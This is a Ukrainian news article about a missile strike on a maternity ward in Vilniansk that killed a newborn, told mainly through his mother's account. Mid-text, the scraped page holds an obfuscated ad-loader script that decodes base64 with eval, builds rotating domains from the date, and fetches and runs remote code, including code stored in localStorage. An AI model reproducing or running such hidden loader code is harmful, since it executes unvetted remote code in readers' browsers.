Цього тижня українців вразлила нова трагедія — окупанти влучили ракетою в пологовий будинок у Вільнянську. Жертвою стала новонароджена дитина, яку днями поховали в селі Новосолоне.
Мати хлопчика Марія Кам’янецька розповіла, що вранці перед трагедією відправила фото немовляти батьку в рідне село з підписом «У тебе народився син», пише The Washington Post.
Батько дитини так ніколи й не побачив свого сина. Близько другої години ночі в середу, коли Кам’янецька щойно закінчила няньчити дитину і поклала його спати в ліжечко біля себе, у пологове відділення лікарні впала ракета. Стіни лікарні зруйнувалися, заблокувавши Кам’янецьку та її немовля під завалами.
Тієї ночі вони були єдиними пацієнтами у палаті. Рятувальники витягли з-під завалів живу матір, у неї були подряпані та закривавлені ноги. Єдиним загиблим був немовля Сергій.
Коли рятувальники обшукували залишки пологового відділення, Кам’янецькій повідомили, що не знайшли дитини. Знайшли тільки ляльку, кажуть, що лежала обличчям до землі.
«Це мій син!» — закричала вона.
Батьки приготували для Сергія все: ліжечко, коляску, одяг. Кам’янецька та батько дітей Віталій Подлянов навесні готувалися переїхати через дорогу у своєму маленькому сільському селі у більший будинок, щоб мати більше місця для своєї зростаючої родини. Він був їхньою четвертою дитиною, братиком, якого чекав їхній 7-річний син.
Про те, що чекають на дитину, подружжя дізналося наприкінці лютого, коли російські війська почали наступ на Україну. Оскільки мільйони українців, багато жінок і дітей, покинули країну, Кам’янецька з сім’єю залишилася в своєму селі Новосолоне Запорізької області. Це був їхній дім, місце, де вони виростили своїх трьох інших дітей і де жила решта їхньої родини. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Кам’янецька жила лише за годину їзди від лінії фронту, але чомусь війна відчувалася досить далеко. «Вибухи вдалині мене не хвилювали», — сказала вона. Але коли вона готувалася до народження Сергія, вони все ближче й ближче підходили до її міста.
Ракета розтрощила цегляні стіни пологового відділення на другому поверсі, перекинувшись на клініку під нею, де застряглий лікар кричав про допомогу, згадує вона.
На Кам’янецьку, яка лежала в ліжку в одній нічній сорочці, впав шматок бетонної стелі. Але вона залишалася зосередженою на тому, щоб дотягнутися до ліжечка Сергія. Вона кричала про допомогу, відчайдушно намагаючись підняти шматки бетону, щоб дістатися до дитини. Вона пригадала свої легені, наповнені димом і пилом.
Їй вдалося піднятися з ліжка й кинутися до ліжечка. Мати жахнулася, побачивши, що там порожньо. Під час вибуху дитину викинуло з ліжка.
Кам’янецька схопила свій телефон, використовуючи його світло, щоб шукати немовля, босими ногами проходячи крізь уламки.
Подальші моменти трохи розмиті: рятувальники витягують її з-під завалів через вікно; медсестри виривають осколки з її ніг; телефонний дзвінок матері, яка повідомила, що в пологовий будинок влучила ракета.
Те, що вона яскраво пам’ятає, це її власний крик, її благання за сина.
(adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/na-zaporizhzhi-pid-zvuki-vibuhiv-pohovali-nemovlya-yake-zaginulo-pislya-obstrilu-pologovogo-budinku-foto/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
